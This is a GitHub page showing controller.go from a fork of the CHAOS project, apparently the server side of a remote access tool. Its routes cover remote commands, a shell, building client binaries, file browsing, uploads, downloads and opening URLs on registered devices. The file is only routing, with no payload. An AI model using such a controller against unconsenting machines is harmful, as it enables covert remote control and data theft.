forked from tiagorlampert/CHAOS
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcontroller.go
89 lines (73 loc) · 2.71 KB
/
controller.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
package http
import (
"github.com/gin-gonic/gin"
"github.com/sirupsen/logrus"
"github.com/tiagorlampert/CHAOS/internal/environment"
"github.com/tiagorlampert/CHAOS/internal/middleware"
"github.com/tiagorlampert/CHAOS/services/auth"
"github.com/tiagorlampert/CHAOS/services/client"
"github.com/tiagorlampert/CHAOS/services/device"
"github.com/tiagorlampert/CHAOS/services/url"
"github.com/tiagorlampert/CHAOS/services/user"
)
type httpController struct {
Configuration *environment.Configuration
Logger *logrus.Logger
AuthMiddleware *middleware.JWT
ClientService client.Service
AuthService auth.Service
UserService user.Service
DeviceService device.Service
UrlService url.Service
}
func NewController(
configuration *environment.Configuration,
router *gin.Engine,
log *logrus.Logger,
authMiddleware *middleware.JWT,
clientService client.Service,
systemService auth.Service,
userService user.Service,
deviceService device.Service,
urlService url.Service,
) {
handler := &httpController{
Configuration: configuration,
AuthMiddleware: authMiddleware,
Logger: log,
ClientService: clientService,
AuthService: systemService,
UserService: userService,
DeviceService: deviceService,
UrlService: urlService,
}
router.NoRoute(handler.noRouteHandler)
router.GET("/health", handler.healthHandler)
router.GET("/login", handler.loginHandler)
router.POST("/auth", authMiddleware.LoginHandler)
adminGroup := router.Group("")
adminGroup.Use(authMiddleware.MiddlewareFunc())
adminGroup.Use(authMiddleware.AuthAdmin) //require admin role token
authGroup := router.Group("")
authGroup.Use(authMiddleware.MiddlewareFunc())
{
adminGroup.GET("/", handler.getDevicesHandler)
router.GET("/logout", authMiddleware.LogoutHandler)
adminGroup.GET("/settings", handler.getSettingsHandler)
adminGroup.GET("/settings/refresh-token", handler.refreshTokenHandler)
adminGroup.GET("/profile", handler.getUserProfileHandler)
adminGroup.POST("/user", handler.createUserHandler)
adminGroup.PUT("/user/password", handler.updateUserPasswordHandler)
authGroup.POST("/device", handler.setDeviceHandler)
adminGroup.GET("/devices", handler.getDevicesHandler)
authGroup.GET("/client", handler.clientHandler)
adminGroup.POST("/command", handler.sendCommandHandler)
adminGroup.GET("/shell", handler.shellHandler)
adminGroup.GET("/generate", handler.generateBinaryGetHandler)
adminGroup.POST("/generate", handler.generateBinaryPostHandler)
adminGroup.GET("/explorer", handler.fileExplorerHandler)
authGroup.GET("/download/:filename", handler.downloadFileHandler)
authGroup.POST("/upload", handler.uploadFileHandler)
adminGroup.POST("/open-url", handler.openUrlHandler)
}
}